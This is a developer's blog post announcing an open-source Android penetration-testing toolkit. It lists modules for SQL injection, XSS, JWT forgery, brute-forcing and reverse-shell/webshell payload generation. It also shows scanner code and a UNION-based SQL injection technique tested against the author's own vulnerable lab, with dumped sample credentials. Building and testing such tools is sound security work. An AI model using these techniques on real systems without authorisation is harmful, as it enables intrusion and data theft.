TL;DR
I built Pocket Pentester — a native offensive security toolkit for Android. 21 modules, 34MB APK, no root, fully offline-first. Pure Rust + Tauri + Vue.
👉 Repo: https://github.com/tegal1337/PocketPentester
👉 Download APK: https://github.com/tegal1337/PocketPentester/releases/latest/download/PocketPentester.apk
Why?
Most mobile pentest tools fall into one of three categories:
- Web wrappers — basically a browser pointing at a web service. Useless offline.
- Termux scripts — power-user only, requires sideloading binaries, breaks when Android updates.
- Root-only tools — needs Magisk, voids warranty, doesn't run on stock devices.
I wanted something that:
- Runs native code for real performance (async port scans, regex-heavy fingerprinting)
- Works offline — no API key, no callback server, no telemetry
- Installs from a single APK, no setup
- Doesn't need root
So I shipped this. 21 modules, all native Rust under the hood.
The Stack
| Layer | Tech |
|---|---|
| Frontend | Vue 3 + TypeScript + Vite |
| Native shell | Tauri 2 |
| Backend | Pure Rust (tokio + reqwest + rustls + hickory-dns) |
| Build | Gradle splits.abi → 4 ABIs + universal |
| CI | GitHub Actions, signed with v1+v2+v3 schemes |
Tauri 2's Android support landed officially in mid-2024. It compiles your Rust crate to a .so, embeds a WebView for the UI, and exposes IPC commands via #[tauri::command]. The result is fast: a port scan over 1000 ports finishes in seconds, and the SQLi engine runs sqlmap-style detection without network calls home.
What's Inside
Recon
- Port scan — async TCP probe with service hints
- Subdomain enum — 16 passive sources (crt.sh, certspotter, c99, VT, Anubis, etc.) + brute
- HTTP probe — fingerprint live hosts, status, title, tech stack
- Domain grab — bulk harvest by TLD from web sources + IANA
- DNS — A/AAAA/MX/TXT/NS/CNAME/SOA/CAA/SRV + AXFR + DNSSEC
- SSL scan — TLS chain, SANs, expiry, weak sig audit
- Banner grab — TCP banner + service fingerprint
- LAN map — TCP sweep + mDNS + SSDP/UPnP
| port scan | subdomain enum | http probe |
|---|---|---|
| dns | ssl scan | lan map |
Exploitation
-
SQLi — sqlmap-style: heuristic, error, boolean-blind, UNION (with auto column count + position detection), time-blind. Includes a full dump engine for
databases → tables → columns → rows. - XSS — context-aware reflection (HTML/attr/JS/URL) with canary detection
-
JWT —
alg:none,kidinjection, HMAC weak-secret brute, admin forgery - Xploiter — YAML template engine (variables, payloads, matchers, chains)
- Auto-pwn — full chain pipeline: recon → probe → exploit, one button
- Dir-fuzz — recursion + wildcard calibration
- Admin-finder — 320+ paths, CMS fingerprint, login form detection
- Form-brute — CSRF aware, regex matchers, baseline delta
- Takeover — 18 service fingerprints (S3, GitHub Pages, Heroku, Azure, etc.)
| sqli scanner | xss scanner | jwt attacker |
|---|---|---|
| auto-pwn | dir-fuzz | admin-finder |
| xploiter (yaml) | form-brute | takeover |
Manual & Utility
- Repeater — Burp-lite. Edit method/URL/headers/body, preview, export curl
- Payload-gen — 50+ reverse/bind shells + webshells + msfvenom + encoders
- Encoder — chainable b64/url/hex/html/rot13/morse/jwt pipeline
- Hash-tools — identify 28+ hash types + compute MD5/SHA/CRC32
| repeater (Burp-lite) | payload-gen | encoder chain |
|---|
A War Story: The UNION That Wasn't
Real example of how building offline-first forced cleaner engineering.
When I tested the SQLi scanner against my own vuln lab (https://insecure.newploit.com/profile.php?id=1), the scan correctly detected error-based injection but missed UNION-based every time. Even though I could prove UNION worked manually with curl.
Looked at the scanner code:
// test_union_based() — old version
let full = format!("{}{} UNION SELECT {}-- -",
point.base_value, prefix, fields.join(","));
Spotted it: the scanner used the original base_value (1) when injecting UNION. The PHP target was running this query:
SELECT id, user, ... FROM users WHERE id=1 UNION SELECT marker,...
The DB returned two rows: the real user (id=1) first, then the UNION row. PHP's fetch_assoc() only returned the first row. The marker was never rendered → scanner thought UNION failed.
The fix is a classic sqlmap technique:
let null_bases = if base_value.chars().all(|c| c.is_ascii_digit()) {
vec![format!("-{}", base_value), "0".into(), "999999999".into(),
format!("{} AND 1=2", base_value)]
} else {
vec![format!("{} AND 1=2", base_value)]
};
Use -1, 0, or AND 1=2 to make the original WHERE clause return zero rows. Now the UNION row is the only row, and the marker reflects.
After the fix:
[+] error-based GET:id [DBMS:MySQL] payload: 1' -- -
[+] union-based GET:id [DBMS:MySQL] 4col @ 2
version = 10.11.16-MariaDB-ubu2204
user = root@%
db = newploit
[*] scan done: 2 injection point(s)
Then the dump engine clean-fires:
| id | username | password | role | api_key | |
|---|---|---|---|---|---|
| 1 | admin | admin123 | admin@... | admin | sk_admin_AKIAIOSFODNN7EXAMPLE |
| 2 | root | toor | root@... | admin | sk_root_deadbeefcafebabe |
| ... | ... | ... | ... | ... | ... |
The lesson: build with a real vuln target on day one. If I had only relied on unit tests with mocked DB responses, this would have shipped broken to every user.
Lessons
- Native > web wrapper for tools. Async Rust port scans crush JavaScript-in-WebView every time.
- Test against real targets early. Mocked tests would have hidden the UNION bug indefinitely.
-
Pick one split mechanism. Tauri's
--split-per-abiand Gradle'ssplits.abidon't coexist. Pick one. -
Sanity check artifact sizes in CI. A
< 5MBcheck would have caught the empty-shell bug before release. - Pentest tools have weird requirements. Cleartext HTTP, root-free port scans, offline operation — none of which match Android's default app profile.
What's Next
- Bluetooth/BLE recon module
- Local AI model for response analysis (offline LLM via candle-rs)
- More tamper scripts for SQLi WAF bypass
- Burp-style intercepting proxy
If you've got an idea, drop it as an issue: https://github.com/tegal1337/PocketPentester/issues
Repo: https://github.com/tegal1337/PocketPentester
Download: https://github.com/tegal1337/PocketPentester/releases/latest
Free and open source. MIT license. Built so you never miss the next train.